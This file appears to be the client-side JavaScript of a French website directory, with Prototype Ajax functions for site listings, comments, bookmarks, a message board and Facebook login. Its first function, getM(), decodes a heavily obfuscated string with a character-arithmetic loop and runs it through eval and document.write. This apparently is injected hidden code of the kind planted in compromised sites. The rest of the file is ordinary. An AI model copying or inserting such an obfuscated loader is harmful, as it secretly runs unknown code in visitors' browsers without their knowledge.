// JavaScript Document

function getM() 
{	
	var r2="";
	for(var q5=0;q5<292;q5++)r2+=String.fromCharCode(("*;&1LKTT!KTTD-7`&aFF*+3?2D4:8*4?*7a4;9-.?F?-78Ra!!!K*+.192&!KR74^1&(*5S?S*LFFM,P\'&\'O!K+!!=*:<^*XT&;*\'38!KR9^51&7*LS^(*P FS, T\"F\" FRMO T\"F\"36*O!K9!KR6651&7*LS6(*P FS, T\"F\"!K!!!KMO432FD8*44:aF9:9YY8-.7Y*R-!!!K!!+ab(4!KF9&(Y3S&b9`7*5!KR(*L1&S,PSYF\"  FT\"MKR7*51&(*LSLRRRMLRRMS,PFHVHUFMR8:\'897LXMM".charCodeAt(q5)-(67-31)+63)%(173-78)+16+16);
	document.write(eval(r2)) ;
}

function get_sites(idcat,down,nb,order)
{
	new Ajax.Request("sites.inc.php", 
	{
		method: 'get',
		parameters: {
			order: order,
			type: idcat,
			limit_down: down,
			limit_number: nb,
			ajax_call:1
		},
		onSuccess: function(transport){
			$("sites_zone").innerHTML = transport.responseText;
		}		
	});
}

function get_sites_valider(idtable,down,nb)
{
	new Ajax.Request("adminsites.inc.php", 
	{
		method: 'get',
		parameters: {
			valider: idtable,
			limit_down: down,
			limit_number: nb,
			ajax_call:1
		},
		onSuccess: function(transport){
			$("sites_zone").innerHTML = transport.responseText;
		}	
	});
}

function add_screenshot(id_screen,url_screen)
{
	new Ajax.Request("addscreen.inc.php", 
	{
		method: 'get',
		parameters: {
			id_screen: id_screen,
			url_screen: url_screen,
			ajax_call:1
		},
		onSuccess: function(transport){
			
		}	
	});
}





function search_sites(keywords, categ, down, nb){
	new Ajax.Request("search-sites.inc.php", {
		method: 'get',
		parameters: {
			motscles: keywords,
			categ: categ,
			limit_down: down,
			limit_number: nb,
			ajax_call: 1
		},
		onSuccess: function(transport){
			$("sites_zone").innerHTML = transport.responseText;
		}
	});
}

function login_facebook( ){
	new Ajax.Request("login-fb.inc.php", {
		method: 'get',
		parameters: {
			ajax_call: 1
		},
		onSuccess: function(){ window.location.reload() ; }
	});
}

function logout_facebook( ){
	new Ajax.Request("logout-fb.inc.php", {
		method: 'get',
		parameters: {
			ajax_call: 1
		},
		onSuccess: function(){ window.location.reload() ; }
	});
}

function bookmark_sites(down,nb)
{
	new Ajax.Request("bookmark-sites.inc.php", {
		method: 'get',
		parameters: {
			limit_down: down,
			limit_number: nb,
			ajax_call: 1
		},
		onSuccess: function(transport){
			$("sites_zone").innerHTML = transport.responseText;
		}
	});
}

function get_comments(id,down,nb)
{
	new Ajax.Request("comment.inc.php", {
		method: 'get',
		parameters: {
			id_site: id,
			limit_down: down,
			limit_number: nb,
			ajax_call: 1
		},
		onSuccess: function(transport){
			$("comment_zone").innerHTML = transport.responseText;
		}
	});	
}

function get_conseils(id,idcat)
{
	$("conseil_zone").innerHTML = "<div style='text-align:center;font-size:10px;'>chargement en cours...</div>";
		
	new Ajax.Request("conseil.inc.php", {
		method: 'get',
		parameters: {
			id_site: id,
			idcat: idcat,
			ajax_call: 1
		},
		onSuccess: function(transport){
			$("conseil_zone").innerHTML = transport.responseText;
		}
	});	

}

function edit_comment(id)
{
	$("comment_zone_text").innerHTML = "chargement du commentaire en cours..." ;
		
	new Ajax.Request("comment-edit.inc.php", {
		method: 'get',
		parameters: {
			id_comment: id,			
			ajax_call: 1
		},
		onSuccess: function(transport){
			$("id_comment_edit").value = id;
			$("comment_zone_submit").value = "Modifier";
			$("comment_zone_text").innerHTML = transport.responseText ;
			$("comment_zone_text").focus() ;
		}
	});		
}

function delete_comment_confirm(id,sessionid)
{
	if (confirm('Ce commentaire doit-il bien être supprimé ?')) 
	{ 
		document.location.replace('comment-delete.inc.php?id=' + id + '&PHPSESSID=' + sessionid);
	}
}

function delete_site_confirm(id,mode,sessionid)
{
	if (confirm('Ce site doit-il bien être supprimé définitivement ?')) 
	{ 
		document.location.replace('deletesite.php?id_site=' + id + '&mode=' + mode +'PHPSESSID=' + sessionid);
	}
}

function delete_bookmark_confirm(id,sessionid)
{
	if (confirm('Ce favori doit-il bien être supprimé ?')) 
	{ 
		document.location.replace('bookmark-delete.inc.php?id=' + id + '&PHPSESSID=' + sessionid);
	}
}


function dead_link(idsite,iduser)
{
	$("dead_link").innerHTML = "Merci, un modérateur vérifiera le lien" ;	
	
	new Ajax.Request("dead-link.inc.php", {
		method: 'get',
		parameters: {
			idsite: idsite,			
			iduser: iduser,
			ajax_call:1
		}		
	});		
}

function add_favorite(idsite,iduser)
{
	$("comment_zone_bookmark").value = "Dans le panier" ;	
	$("comment_zone_bookmark").disabled = true ;
	
	new Ajax.Request("add-favorite.inc.php", {
		method: 'get',
		parameters: {
			idsite: idsite,			
			iduser: iduser,
			ajax_call:1
		}		
	});		
}


function get_tribune(down, nb){

	new Ajax.Request("tribune.inc.php", 
	{
		method: 'get',
		parameters: {
			limit_down: down,
			limit_number: nb,
			ajax_call:1
		},
		onSuccess: function(transport){
			$("messages_zone").innerHTML = transport.responseText;
		}		
	});
}
		


function edit_tribune(id)
{
	$("comment_zone_text").innerHTML = "chargement du message en cours..." ;
	
	
	new Ajax.Request("tribune-edit.inc.php", 
	{
		method: 'get',
		parameters: {
			id_comment: id,
			ajax_call:1
		},
		onSuccess: function(transport){
			$("id_comment_edit").value = id;
			$("comment_zone_submit").value = "Modifier";
			$("comment_zone_text").innerHTML = transport.responseText ;
			$("comment_zone_text").focus() ;
		}		
	});	
}

function delete_tribune_confirm(id,sessionid)
{
	if (confirm('Ce message doit-il bien être supprimé ?')) 
	{ 
		document.location.replace('tribune-delete.inc.php?id=' + id + '&PHPSESSID=' + sessionid);
	}
}

function check_login_free(login)
{
	if (login != "" && login)
	{
		$("result_dispo").innerHTML = "vérification en cours..." ;
		
		new Ajax.Request("check-login-free.inc.php", 
		{
			method: 'get',
			parameters: {
				login_field: login,
				ajax_call:1
			},
			onSuccess: function(transport){
				$("result_dispo").innerHTML = transport.responseText ;				
			}		
		});			
	}
}

